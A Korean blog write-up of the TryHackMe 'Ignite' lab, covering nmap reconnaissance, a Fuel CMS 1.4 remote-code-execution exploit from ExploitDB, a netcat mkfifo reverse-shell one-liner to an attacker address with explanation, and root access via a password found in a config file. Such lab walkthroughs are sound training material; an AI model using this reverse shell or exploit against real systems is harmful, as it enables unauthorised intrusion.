report/tryhackme

Ignite

chanchand 2024. 8. 1. 10:12
반응형

1. Deploy the machine

 

 

2. Reconnaissance

2.1 Scanning

nmap 명령어를 통해 타겟을 스캔한다.

-sV : 어떤 버전을 사용하고 있는지 자세히 설명한다.

-sC : 기본 스크립트로 설정한다.

nmap -sV -sC 10.10.5.239 > scan_res

 

http : apache httpd 2.4.18

 

2.2 수동 탐색

웹서버의 페이지에 접속하면 Fuel CMS 1.4 버전을 사용하는 것을 알 수 있다.

설정 파일이 fuel/application/config 폴더에 저장되어 있는 것을 확인할 수 있다.

 

관리자 페이지도 노출되어 접근이 가능하다.

 

 

2.3 Searchsploit

ExploitDB 페이지와 연동되어 있으며, 동일한 결과가 나온다.

searchsploit Fuel CMS 1.4

 

 

 

 

3. Vulnerability Assessment

searchsploit 명령어 결과 RCE 취약점이 있음을 확인했다.

  • RCE(Remote Code Execution)

시스템이 적절한 유효성 검사 없이 쉘 명령을 실행한다.

 

 

4. Exploitation

4.1 Initial Access

세번째 RCE 코드를 이용한다. 공격 코드를 복사하여 사용한다.

Path는 /usr/share/exploitdb/exploits/ 경로 아래에 있다.

cp /usr/share/exploitdb/exploits/php/webapps/50477.py ./ex.py

 

url 옵션과 함께 파일이 실행된다. url은 공격 서버를 작성한다.

 

 

시스템의 쉘을 얻어 명령어 실행이 가능하다.

현재의 쉘은 제한된 명령어만 실행이 가능하기 때문에 공격을 위해 리버스쉘로 변경해야 한다.

 

 

 

GitHub - d4t4s3c/OffensiveReverseShellCheatSheet: Collection of reverse shells for red team operations.

Collection of reverse shells for red team operations. - d4t4s3c/OffensiveReverseShellCheatSheet

github.com

reverse shell cheat sheet에서 가져온 명령어에서 수행할 서버의 주소로 변경해준다.

 

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.110.159 9999 >/tmp/f

 

  • rm /tmp/f : 이미 존재하는 /tmp/f 디렉터리 삭제
  • mkfifo /tmp/f : /tmp/f fifo 생성
    • fifo : 리눅스 커널에서 프로세스 간 통신을 위해 지원하는 특수 파일
  • cat /tmp/f| : /tmp/f 내용 출력하여 다음 명령어에 전달
  • /bin/sh -i 2>&1
    • 표준에러를 표준출력으로 재지정 : 에러 메시지는 파일에 저장
    • -i : interactive mode
  • nc 10.9.110.159 9999 > /tmp/f : redirect that ouput to the named pipe

 

 

  • User.txt

home 폴더에서 확인할 수 있다.

 

 

4.2 Privilege Escalation

2.2 수동탐색에서 /fuel/application/config 폴더에 설정파일이 존재한다는 것을 확인했다.

이동하면 데이터베이스 파일을 포함해 여러 설정 파일이 있다.

 

cat database.php

root 계정의 비밀번호가 mememe 임을 알 수 있다.

 

얻은 비밀번호를 이용하여 root 계정으로 로그인하여 권한을 얻을 수 있다.

  • Root.txt

home 폴더에서 확인할 수 있다.

반응형

'report > tryhackme' 카테고리의 다른 글

RootMe(en)  (0) 2024.08.01